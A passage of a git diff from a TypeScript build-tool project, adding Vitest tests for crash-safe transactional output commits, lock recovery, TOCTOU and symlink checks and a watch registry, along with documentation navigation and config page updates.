['other'] }, + })).rejects.toThrow('exactly match'); + }); + + it('rejects source TOCTOU and leaves old output intact', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'old'); + const sourceRoot = path.join(current.root, 'public'); + await fs.mkdir(sourceRoot); + await fs.writeFile(path.join(sourceRoot, 'data.txt'), 'original'); + /** 本测试使用独立 Registry 公开 Source API 签发 TOCTOU ref。 */ + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, current.root); + const work = new WorkDirectoryRegistry(scope, path.join(current.root, '.work-source')); + const assets = new AssetRegistry(scope, sources, work); + const rootRef = await sources.issueRoot('framework:public', sourceRoot); + const source = await sources.service('framework:public').file(rootRef, 'data.txt'); + const asset = await assets.service('framework:public').fromSource(source); + assets.grant('framework:public', 'platform:target', asset); + const packageUnit: PackageUnitSnapshot = Object.freeze({ + platform: 'target', id: 'plugin', type: 'plugin', role: 'primary', + assets: Object.freeze([{ path: 'data.txt', owner: 'framework:public', asset }]), + compatibility: Object.freeze([]), metadata: Object.freeze([]), + }); + await fs.writeFile(path.join(sourceRoot, 'data.txt'), 'changed'); + + await expect(commitPackageUnits(outDir, [packageUnit], assets, { projectRoot: current.root })).rejects.toThrow('changed after'); + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + }); + + it('rejects project root and outside targets before creating transaction state', async () => { + const current = await fixture(); + const outside = await fixture(); + + await expect(commitPackageUnits(current.root, [], current.assets, { projectRoot: current.root })).rejects.toThrow('strictly inside'); + await expect(commitPackageUnits(path.join(outside.root, 'dist'), [], current.assets, { projectRoot: current.root })).rejects.toThrow('strictly inside'); + /** 现有 outDir 符号链接也不能被当成受管目录替换。 */ + const linkedOut = path.join(current.root, 'linked-dist'); + await fs.symlink(outside.root, linkedOut); + await expect(commitPackageUnits(linkedOut, [], current.assets, { projectRoot: current.root })).rejects.toThrow('symbolic links'); + expect(await helpers(current.root)).toEqual([]); + }); + + it('rejects a concurrent writer while the first transaction holds the lock', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + let notifyLocked!: () => void; + let releaseLock!: () => void; + /** locked 与 gate 精确控制两个 transaction 的竞争窗口。 */ + const locked = new Promise((resolve) => { + notifyLocked = resolve; + }); + const gate = new Promise((resolve) => { + releaseLock = resolve; + }); + const first = commitPackageUnits(outDir, [], current.assets, { + projectRoot: current.root, + async onPhase(phase) { + if (phase === 'lock-acquired') { + notifyLocked(); + await gate; + } + }, + }); + await locked; + + await expect(commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root })).rejects.toThrow('locked'); + releaseLock(); + await first; + expect(await helpers(current.root)).toEqual([]); + }); + + it('serializes stale-lock recovery before another writer can replace the observed record', async () => { + /** dead lock 让第一个事务进入 quarantine 临界区。 */ + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + await fs.writeFile(lock, `${JSON.stringify({ + schemaVersion: 3, + pid: 99_999_999, + token: '00000000-0000-4000-8000-000000000003', + })}\n`); + /** entered 与 gate 把首次 quarantine rename 固定在可竞争窗口。 */ + let notifyEntered!: () => void; + let continueRecovery!: () => void; + const entered = new Promise((resolve) => { + notifyEntered = resolve; + }); + const gate = new Promise((resolve) => { + continueRecovery = resolve; + }); + /** 真实 rename 仅在 stale lock 路径上注入暂停。 */ + const realRename = fs.rename.bind(fs); + const rename = vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if (String(source) === lock && String(destination).endsWith('.stale')) { + notifyEntered(); + await gate; + } + return realRename(source, destination); + }); + try { + /** 第一个 writer 持有 metadata guard 并暂停在 stale quarantine。 */ + const first = commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root }); + await entered; + /** 第二个 writer 不能移除/替换 final lock,只能在 guard 外失败关闭。 */ + let secondError: unknown; + try { + await commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root }); + } catch (error) { + secondError = error; + } + expect(secondError).toBeInstanceOf(Error); + expect((secondError as Error).message).toContain('locked'); + continueRecovery(); + await first; + } finally { + continueRecovery(); + rename.mockRestore(); + } + expect(await helpers(current.root)).toEqual([]); + }); + + it('recovers backup/record/stale-stage state before starting a new transaction', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const backup = path.join(current.root, '.dist.acplugin-backup'); + const staleStage = path.join(current.root, '.dist.acplugin-stage-crashed'); + const transaction = path.join(current.root, '.dist.acplugin-transaction.json'); + await fs.mkdir(path.join(backup, 'old', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(backup, 'old', 'plugin', 'version.txt'), 'old'); + await fs.mkdir(staleStage); + await fs.writeFile(path.join(staleStage, 'partial.txt'), 'partial'); + await transactionMarker(current.root, 'transaction', true); + + await expect(commitPackageUnits(outDir, [], current.assets, { + projectRoot: current.root, + onPhase(phase) { + if (phase === 'recovery-complete') + throw new Error('stop after recovery'); + }, + })).rejects.toThrow('stop after recovery'); + + expect(await fs.readFile(path.join(outDir, 'old', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + await expect(fs.access(staleStage)).rejects.toThrow(); + await expect(fs.access(transaction)).rejects.toThrow(); + }); + + it('rolls back an exposed output after a process crash before cleanup committed', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const backup = path.join(current.root, '.dist.acplugin-backup'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'uncommitted-new'); + await fs.mkdir(path.join(backup, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(backup, 'target', 'plugin', 'version.txt'), 'old'); + await transactionMarker(current.root, 'transaction', true); + + await expect(commitPackageUnits(outDir, [], current.assets, { + projectRoot: current.root, + onPhase(phase) { + if (phase === 'recovery-complete') + throw new Error('stop after rollback recovery'); + }, + })).rejects.toThrow('stop after rollback recovery'); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect(await helpers(current.root)).toEqual([]); + }); + + it('removes a first-build output exposed before cleanup committed', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'uncommitted-first'); + await transactionMarker(current.root, 'transaction', false); + + await expect(commitPackageUnits(outDir, [], current.assets, { + projectRoot: current.root, + onPhase(phase) { + if (phase === 'recovery-complete') + throw new Error('stop after first-build recovery'); + }, + })).rejects.toThrow('stop after first-build recovery'); + + await expect(fs.access(outDir)).rejects.toThrow(); + expect(await helpers(current.root)).toEqual([]); + }); + + it('keeps a cleanup-committed output and discards its old backup', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const backup = path.join(current.root, '.dist.acplugin-backup'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'committed-new'); + await fs.mkdir(path.join(backup, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(backup, 'target', 'plugin', 'version.txt'), 'old'); + await transactionMarker(current.root, 'transaction', true); + await transactionMarker(current.root, 'committed', true); + + await expect(commitPackageUnits(outDir, [], current.assets, { + projectRoot: current.root, + onPhase(phase) { + if (phase === 'recovery-complete') + throw new Error('stop after committed recovery'); + }, + })).rejects.toThrow('stop after committed recovery'); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('committed-new'); + expect(await helpers(current.root)).toEqual([]); + }); + + it('ignores an unpublished transaction marker draft after a process crash', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'old'); + /** 截断草稿模拟进程在首次 marker 原子发布前退出。 */ + await fs.writeFile(path.join(current.root, '.dist.acplugin-transaction.json.writing'), '{"schemaVersion":'); + + await expect(commitPackageUnits(outDir, [], current.assets, { + projectRoot: current.root, + onPhase(phase) { + if (phase === 'recovery-complete') + throw new Error('stop after transaction draft recovery'); + }, + })).rejects.toThrow('stop after transaction draft recovery'); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect(await helpers(current.root)).toEqual([]); + }); + + it('rolls back when a process crashes before publishing the committed marker', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const backup = path.join(current.root, '.dist.acplugin-backup'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'uncommitted-new'); + await fs.mkdir(path.join(backup, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(backup, 'target', 'plugin', 'version.txt'), 'old'); + await transactionMarker(current.root, 'transaction', true); + /** 截断草稿不是权威 committed marker,恢复必须选择 rollback。 */ + await fs.writeFile(path.join(current.root, '.dist.acplugin-committed.json.writing'), '{"schemaVersion":'); + + await expect(commitPackageUnits(outDir, [], current.assets, { + projectRoot: current.root, + onPhase(phase) { + if (phase === 'recovery-complete') + throw new Error('stop after committed draft recovery'); + }, + })).rejects.toThrow('stop after committed draft recovery'); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect(await helpers(current.root)).toEqual([]); + }); + + it('removes a dead-process lock and commits successfully', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + await fs.writeFile(lock, `${JSON.stringify({ + schemaVersion: 3, + pid: 99_999_999, + token: '00000000-0000-4000-8000-000000000001', + })}\n`); + + await commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root }); + + expect(await fs.readdir(outDir)).toEqual([]); + await expect(fs.access(lock)).rejects.toThrow(); + }); + + it.each(['', '{"schemaVersion":', '{"schemaVersion":2,"pid":1}\n'])( + 'recovers a malformed atomic lock record %j', + async (contents) => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + await fs.writeFile(lock, contents); + + await commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root }); + + expect(await fs.readdir(outDir)).toEqual([]); + expect(await helpers(current.root)).toEqual([]); + }, + ); + + it('preserves a malformed legacy lock that becomes a live record during the bounded check', async () => { + /** 空文件模拟旧 create→write writer 尚未完成的中间状态。 */ + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + await fs.writeFile(lock, ''); + /** stability window 内把同一路径补全为当前可见父进程持有的活锁。 */ + const liveRecord = `${JSON.stringify({ + schemaVersion: 3, + pid: process.ppid, + token: '00000000-0000-4000-8000-000000000004', + })}\n`; + const writer = new Promise((resolve, reject) => { + setTimeout(() => { + fs.writeFile(lock, liveRecord).then(() => resolve(), reject); + }, 5); + }); + + await expect(commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root })).rejects.toThrow('locked'); + await writer; + expect(await fs.readFile(lock, 'utf8')).toBe(liveRecord); + /** 测试清理只移除模拟的外部 live lock。 */ + await fs.rm(lock); + expect(await helpers(current.root)).toEqual([]); + }); + + it('rejects a same-byte lock replacement by comparing stable metadata', async () => { + /** 两个空文件字节相同,只有 inode/metadata 能证明路径已被替换。 */ + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + const displaced = `${lock}.external`; + await fs.writeFile(lock, ''); + /** quarantine rename 前用同字节新 inode 替换 lock,模拟不参与 guard 的外部 writer。 */ + const realRename = fs.rename.bind(fs); + let injected = false; + const rename = vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if (!injected && String(source) === lock && String(destination).endsWith('.stale')) { + injected = true; + await realRename(lock, displaced); + await fs.writeFile(lock, ''); + } + await realRename(source, destination); + }); + + try { + await expect(commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root })).rejects.toThrow('locked'); + } finally { + rename.mockRestore(); + } + expect(injected).toBe(true); + expect(await fs.readFile(lock, 'utf8')).toBe(''); + expect(await fs.readFile(displaced, 'utf8')).toBe(''); + /** 两个模拟外部路径都不属于当前事务,测试结束前显式清理。 */ + await fs.rm(lock); + await fs.rm(displaced); + expect(await helpers(current.root)).toEqual([]); + }); + + it('recovers a stale token left by the current process', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + await fs.writeFile(lock, `${JSON.stringify({ + schemaVersion: 3, + pid: process.pid, + token: '00000000-0000-4000-8000-000000000002', + })}\n`); + + await commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root }); + + expect(await helpers(current.root)).toEqual([]); + }); + + it('rolls back the complete old set when afterSwap cleanup fails', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'old'); + + await expect(commitPackageUnits(outDir, [await unit(current.assets, 'target', 'new')], current.assets, { + projectRoot: current.root, + afterSwap() { + throw new Error('close failed'); + }, + })).rejects.toThrow('close failed'); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect(await helpers(current.root)).toEqual([]); + }); +}); diff --git a/packages/core/test/transaction.test.ts b/packages/core/test/transaction.test.ts deleted file mode 100644 index 7c80e3c..0000000 --- a/packages/core/test/transaction.test.ts +++ /dev/null @@ -1,167 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { - bytesArtifact, - commitDeliveryUnits, - definePlatform, - DeliveryUnitRegistry, - withMaterializedDeliveryUnitCandidate, - type ArtifactInput, - type DeliveryUnit, - type ManagedOutputPhase, - type PlatformId, -} from '../src/index.js'; - -/** 新事务测试创建并统一删除的临时工程。 */ -const temporaryDirectories: string[] = []; - -/** @returns 已登记清理的临时工程根。 */ -async function temporaryRoot(): Promise { - /** 当前测试独占的临时目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-transaction-test-')); - temporaryDirectories.push(root); - return root; -} - -/** - * 创建测试使用的品牌化 Platform ID。 - * - * @param id 开放 Platform ID。 - * @returns Core 工厂生成的 PlatformId。 - */ -function platformId(id: string): PlatformId { - return definePlatform({ - id, - apiVersion: '1', - deliveryType: 'plugin', - /** 事务测试直接构建 DeliveryUnit。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** 事务测试不执行 Platform generateBundle。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** 候选测试通过独立回调模拟 Validator。 */ - validateBundle: () => undefined, - }).id; -} - -/** Codex 测试单元使用的稳定 ID。 */ -const CODEX = platformId('codex'); - -/** - * 创建包含指定 Artifact 的不可变主 DeliveryUnit。 - * - * @param roots 文件型 Artifact 可以读取的来源根。 - * @param artifacts 主单元产物输入。 - * @returns 已完成 owner、hash 和路径校验的单元。 - */ -async function pluginUnit(roots: readonly string[], artifacts: readonly ArtifactInput[]): Promise { - /** 测试单元内 Platform owner 独占的目录来源授权。 */ - const policies = new Map([['platform:codex', { roots }]]); - /** 当前 helper 独占的全局单元 Registry。 */ - const registry = new DeliveryUnitRegistry(policies); - return registry.add(CODEX, { id: 'plugin', role: 'primary', type: 'plugin', artifacts }); -} - -afterEach(async () => { - await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); -}); - -describe('DeliveryUnit transaction', () => { - it('preserves the previous complete output at every injected failure phase', async () => { - /** 逐一注入故障并验证完整 DeliveryUnit 集合回滚的事务阶段。 */ - const phases: ManagedOutputPhase[] = [ - 'lock-acquired', - 'recovery-complete', - 'stage-materialized', - 'stage-validated', - 'transaction-written', - 'backup-created', - 'output-swapped', - ]; - - for (const phase of phases) { - /** 当前故障阶段独占的事务工程根。 */ - const root = await temporaryRoot(); - /** 预先包含完整旧输出的目标目录。 */ - const outDir = path.join(root, 'dist'); - await fs.mkdir(path.join(outDir, 'codex', 'plugin'), { recursive: true }); - await fs.writeFile(path.join(outDir, 'codex', 'plugin', 'version.txt'), 'old'); - /** 当前事务尝试提交的新主 DeliveryUnit。 */ - const unit = await pluginUnit([root], [bytesArtifact('version.txt', 'new')]); - - await expect(commitDeliveryUnits(outDir, [unit], { - projectRoot: root, - /** 在指定事务阶段注入失败以验证旧输出恢复。 */ - onPhase(current) { - if (current === phase) - throw new Error(`fail at ${phase}`); - }, - })).rejects.toThrow(`fail at ${phase}`); - - expect(await fs.readFile(path.join(outDir, 'codex', 'plugin', 'version.txt'), 'utf8')).toBe('old'); - expect((await fs.readdir(root)).filter(name => name.startsWith('.dist.acplugin-'))).toEqual([]); - } - }); - - it('materializes an isolated candidate and rejects Validator mutation', async () => { - /** 候选目录和 Platform 临时目录所在的测试根。 */ - const root = await temporaryRoot(); - /** 包含一个稳定字节 Artifact 的主单元。 */ - const unit = await pluginUnit([root], [bytesArtifact('manifest.json', '{"ok":true}')]); - /** Validator 观察到的候选根,用于确认 finally 清理。 */ - let candidateRoot = ''; - - await expect(withMaterializedDeliveryUnitCandidate(unit, async (candidate) => { - candidateRoot = candidate.root; - expect(await fs.readFile(path.join(candidate.root, 'manifest.json'), 'utf8')).toBe('{"ok":true}'); - await fs.writeFile(path.join(candidate.root, 'manifest.json'), 'mutated'); - }, root)).rejects.toThrow('integrity mismatch'); - await expect(fs.access(candidateRoot)).rejects.toThrow(); - }); - - it('commits the two-level Platform/unit layout and replaces the full managed set', async () => { - /** 已含旧 Platform 目录的工程根。 */ - const root = await temporaryRoot(); - /** 本次事务整体替换的托管输出目录。 */ - const outDir = path.join(root, 'dist'); - await fs.mkdir(path.join(outDir, 'claude-code', 'plugin'), { recursive: true }); - await fs.writeFile(path.join(outDir, 'claude-code', 'plugin', 'old.txt'), 'old'); - /** 本次只选择 Codex 的完整新单元集合。 */ - const unit = await pluginUnit([root], [bytesArtifact('manifest.json', 'new')]); - - await commitDeliveryUnits(outDir, [unit], { projectRoot: root }); - - expect(await fs.readFile(path.join(outDir, 'codex', 'plugin', 'manifest.json'), 'utf8')).toBe('new'); - await expect(fs.access(path.join(outDir, 'claude-code'))).rejects.toThrow(); - }); - - it('preserves the complete old output when a file source changes after hashing', async () => { - /** 包含旧输出和可变文件来源的工程根。 */ - const root = await temporaryRoot(); - /** 完整性失败后必须保留旧版本的输出目录。 */ - const outDir = path.join(root, 'dist'); - /** hash 完成后会被修改的文件型 Artifact 来源。 */ - const source = path.join(root, 'source.txt'); - await fs.mkdir(path.join(outDir, 'codex', 'plugin'), { recursive: true }); - await fs.writeFile(path.join(outDir, 'codex', 'plugin', 'version.txt'), 'old'); - await fs.writeFile(source, 'original'); - /** 在来源变更前完成 hash 的单元。 */ - const unit = await pluginUnit([root], [{ path: 'source.txt', source: { type: 'file', path: source } }]); - await fs.writeFile(source, 'changed-after-hash'); - - await expect(commitDeliveryUnits(outDir, [unit], { projectRoot: root })).rejects.toThrow('integrity mismatch'); - expect(await fs.readFile(path.join(outDir, 'codex', 'plugin', 'version.txt'), 'utf8')).toBe('old'); - }); - - it('rejects the project root and paths outside it before creating transaction state', async () => { - /** 安全边界验证使用的空工程。 */ - const root = await temporaryRoot(); - /** 工程根之外且不得成为输出目标的目录。 */ - const outside = await temporaryRoot(); - - await expect(commitDeliveryUnits(root, [], { projectRoot: root })).rejects.toThrow('strictly inside'); - await expect(commitDeliveryUnits(path.join(outside, 'dist'), [], { projectRoot: root })).rejects.toThrow('strictly inside'); - expect((await fs.readdir(root)).filter(name => name.includes('acplugin-'))).toEqual([]); - }); -}); diff --git a/packages/core/test/watch-registry.test.ts b/packages/core/test/watch-registry.test.ts new file mode 100644 index 0000000..2e6e5a0 --- /dev/null +++ b/packages/core/test/watch-registry.test.ts @@ -0,0 +1,114 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { WatchRegistry } from '../src/kernel/watch-registry.js'; + +/** Watch Registry 测试创建的临时根。 */ +const roots: string[] = []; + +/** + * 创建工程内文件和工程外 package 文件。 + * + * @returns 当前测试独占的 watch fixture。 + */ +async function fixture() { + /** 当前测试独占工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-watch-registry-')); + roots.push(root); + /** 工程内两个可替换 observation。 */ + const alpha = path.join(root, 'src', 'alpha.ts'); + /** 第二个工程内 observation。 */ + const beta = path.join(root, 'src', 'beta.ts'); + await fs.mkdir(path.dirname(alpha), { recursive: true }); + await fs.writeFile(alpha, 'export const alpha = 1;\n'); + await fs.writeFile(beta, 'export const beta = 2;\n'); + /** 工程真实根外的模拟 package store。 */ + const packageRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-watch-package-')); + roots.push(packageRoot); + /** 外部 package entry 必须带安全逻辑 identity。 */ + const packageEntry = path.join(packageRoot, 'index.js'); + await fs.writeFile(packageEntry, 'export {};\n'); + /** 当前 BuildSession scope。 */ + const scope = new BuildSessionScope(); + return { root, alpha, beta, packageRoot, packageEntry, scope, watch: new WatchRegistry(scope, root) }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('WatchRegistry', () => { + it('atomically replaces and removes owner operations with immutable snapshots', async () => { + /** 当前测试独占 Registry。 */ + const current = await fixture(); + await current.watch.replace('extension:fixture', 'module/config', [ + { path: current.alpha, type: 'file' }, + { path: current.packageEntry, type: 'file', identity: 'package:fixture@1.0.0/index.js' }, + ]); + /** 首次完整 operation 快照。 */ + const initial = current.watch.snapshot(); + + expect(initial.identities).toEqual(['package:fixture@1.0.0/index.js', 'src/alpha.ts']); + expect(Object.isFrozen(initial)).toBe(true); + expect(Object.isFrozen(initial.paths)).toBe(true); + expect(Object.isFrozen(initial.identities)).toBe(true); + expect(initial.observations).toEqual(expect.arrayContaining([ + expect.objectContaining({ path: await fs.realpath(current.packageEntry), identity: 'package:fixture@1.0.0/index.js', type: 'file' }), + ])); + expect(Object.isFrozen(initial.observations)).toBe(true); + + /** replace 必须移除旧 observation,而不是增量残留。 */ + await current.watch.replace('extension:fixture', 'module/config', [{ path: current.beta, type: 'file' }]); + expect(current.watch.snapshot().identities).toEqual(['src/beta.ts']); + current.watch.remove('extension:fixture', 'module/config'); + expect(current.watch.snapshot()).toEqual({ paths: [], identities: [], observations: [] }); + }); + + it('allows package-manager directory symlinks but rejects unsafe observations', async () => { + /** 当前测试独占 Registry。 */ + const current = await fixture(); + /** node_modules 目录链接模拟 pnpm package link。 */ + const linkedPackage = path.join(current.root, 'node_modules', 'fixture'); + await fs.mkdir(path.dirname(linkedPackage), { recursive: true }); + await fs.symlink(current.packageRoot, linkedPackage, 'dir'); + await expect(current.watch.replace('framework:compiler', 'compiler/job', [{ + path: path.join(linkedPackage, 'index.js'), + type: 'file', + identity: 'package:fixture@1.0.0/index.js', + }])).resolves.toBeUndefined(); + + /** 最终文件 symlink 不属于 dependency-manager 目录链接例外。 */ + const linkedFile = path.join(current.root, 'linked.ts'); + await fs.symlink(current.alpha, linkedFile); + await expect(current.watch.replace('framework:compiler', 'compiler/link', [{ path: linkedFile, type: 'file' }])).rejects.toThrow('regular file'); + await expect(current.watch.replace('framework:compiler', 'compiler/missing', [{ path: path.join(current.root, 'missing.ts'), type: 'file' }])).rejects.toThrow('regular file'); + await expect(current.watch.replace('framework:compiler', 'compiler/external', [{ path: current.packageEntry, type: 'file' }])).rejects.toThrow('package identity'); + /** Resource Registry 可观察空目录,供后续新增文件触发 Dev rebuild。 */ + await expect(current.watch.replace('framework:resource', 'resource/src', [{ path: path.join(current.root, 'src'), type: 'directory' }])).resolves.toBeUndefined(); + expect(current.watch.snapshot().identities).toContain('src'); + await expect(current.watch.replace('framework:resource', 'resource/wrong-type', [{ path: current.alpha, type: 'directory' }])).rejects.toThrow('regular directory'); + }); + + it('rejects ambiguous identities and expired BuildSessions', async () => { + /** 当前测试独占 Registry。 */ + const current = await fixture(); + /** 第二个外部文件用于 identity 一对多测试。 */ + const other = path.join(current.packageRoot, 'other.js'); + await fs.writeFile(other, 'export {};\n'); + + await expect(current.watch.replace('extension:fixture', 'module/duplicate', [ + { path: current.packageEntry, type: 'file', identity: 'package:fixture@1.0.0/index.js' }, + { path: other, type: 'file', identity: 'package:fixture@1.0.0/index.js' }, + ])).rejects.toThrow('multiple files'); + await expect(current.watch.replace('extension:fixture', 'module/case', [ + { path: current.packageEntry, type: 'file', identity: 'package:fixture@1.0.0/Foo.js' }, + { path: other, type: 'file', identity: 'package:fixture@1.0.0/foo.js' }, + ])).rejects.toThrow('normalization collision'); + + current.scope.close(); + expect(() => current.watch.snapshot()).toThrow('no longer active'); + await expect(current.watch.replace('extension:fixture', 'module/expired', [{ path: current.alpha, type: 'file' }])).rejects.toThrow('no longer active'); + }); +}); diff --git a/packages/core/tsdown.config.ts b/packages/core/tsdown.config.ts index 3a24c74..b6ce6cb 100644 --- a/packages/core/tsdown.config.ts +++ b/packages/core/tsdown.config.ts @@ -3,7 +3,11 @@ import { fileURLToPath } from 'node:url'; // 私有 Core 生成 Node ESM 与 OXC 声明,由主包内联并供工作区类型检查复用。 export default defineConfig({ - entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], + entry: { + 'index': fileURLToPath(new URL('./src/index.ts', import.meta.url)), + 'kernel-author': fileURLToPath(new URL('./src/kernel-author.ts', import.meta.url)), + 'kernel-sdk': fileURLToPath(new URL('./src/kernel-sdk.ts', import.meta.url)), + }, format: ['esm'], platform: 'node', target: 'node20', diff --git a/packages/docs/.vitepress/config.mts b/packages/docs/.vitepress/config.mts index ac7f0ce..d1b8989 100644 --- a/packages/docs/.vitepress/config.mts +++ b/packages/docs/.vitepress/config.mts @@ -53,6 +53,7 @@ export default defineConfig({ items: [ { text: 'Commands、Skills 与 Agents', link: '/guide/commands-skills-agents' }, { text: '构建与校验', link: '/guide/build-and-validate' }, + { text: '内建 Node Runtime', link: '/guide/node-runtime' }, { text: 'CLI', link: '/guide/cli' }, { text: 'Migration', link: '/guide/migration' }, { text: '故障排查', link: '/guide/troubleshooting' }, @@ -84,8 +85,9 @@ export default defineConfig({ { text: '生态开发总览', link: '/ecosystem/' }, { text: 'Platform 开发', link: '/ecosystem/platform-authoring' }, { text: 'Extension 开发', link: '/ecosystem/extension-authoring' }, + { text: 'Rolldown Build Service', link: '/ecosystem/build-service' }, { text: 'Lifecycle 契约', link: '/ecosystem/lifecycle-contract' }, - { text: 'Artifact 与 Document', link: '/ecosystem/artifacts-and-documents' }, + { text: 'Asset、Document 与 Package', link: '/ecosystem/assets-and-documents' }, { text: 'Package 与 peer 边界', link: '/ecosystem/package-and-peer-boundaries' }, ], '/playground/': [ diff --git a/packages/docs/config/build-options.md b/packages/docs/config/build-options.md index 96d4eba..d9393ca 100644 --- a/packages/docs/config/build-options.md +++ b/packages/docs/config/build-options.md @@ -14,11 +14,14 @@ export default defineConfig({ | 字段 | 默认值 | 说明 | | --- | --- | --- | | `srcDir` | `src` | Canonical 与 Extension 作者源码根 | +| `runtime` | `{}` | 内建 Runtime 自动发现、显式入口与 portable-node 编译参数;`false` 关闭 | | `build.outDir` | `dist` | 框架完整托管的输出根 | | `build.strict` | `true` | 是否拒绝 degraded/unsupported 兼容性 | 路径都相对于配置文件所在工程根解析,必须留在根目录内。`srcDir`、Public 和 `outDir` 不能相互包含,`outDir` 也不能等于工程根。 +`runtime.entries` 的入口路径相对于 `/runtime`;配置存在时会完整替换一级文件自动发现。详细边界见[内建 Node Runtime](/guide/node-runtime)。 + ## 函数式配置 ```ts diff --git a/packages/docs/config/compatibility-and-strictness.md b/packages/docs/config/compatibility-and-strictness.md index 3e7fd05..e6504ae 100644 --- a/packages/docs/config/compatibility-and-strictness.md +++ b/packages/docs/config/compatibility-and-strictness.md @@ -23,13 +23,13 @@ export default defineConfig({ }); ``` -CLI 的 `--strict` 或 `--no-strict` 覆盖本次选择的全部 Platform,适合 CI 临时策略。优先级是 CLI override → Platform override → `build.strict` 默认。 +Platform override 优先于 `build.strict` 默认。项目 CLI 不提供临时 strict override,保证本地、CI 和程序化调用使用同一份显式策略。 Relaxed 模式只允许功能兼容性继续构建,并保留完整报告。以下错误始终失败: - 配置、Frontmatter、依赖图或 Schema 无效; -- Artifact 来源越权、路径冲突或 owner 冲突; -- Extension/Adapter API 不兼容; -- DeliveryUnit 最终校验或 transaction 失败。 +- Asset 来源越权、路径冲突或 owner 冲突; +- Extension/Contributor API 不兼容; +- Package 候选校验或 transaction 失败。 建议默认 strict,只在明确接受一个已审查的降级时对特定 Platform 放宽,并在 CI 检查报告中允许的诊断集合。 diff --git a/packages/docs/config/index.md b/packages/docs/config/index.md index 3e51a67..5aa6f9d 100644 --- a/packages/docs/config/index.md +++ b/packages/docs/config/index.md @@ -18,5 +18,6 @@ export default defineConfig({ - [工程元数据](./project-metadata.md) - [Public 文件](./public-files.md) +- [内建 Node Runtime](/guide/node-runtime) - [构建选项](./build-options.md) - [兼容性与 strict](./compatibility-and-strictness.md) diff --git a/packages/docs/config/public-files.md b/packages/docs/config/public-files.md index d4fdc9f..f7e448c 100644 --- a/packages/docs/config/public-files.md 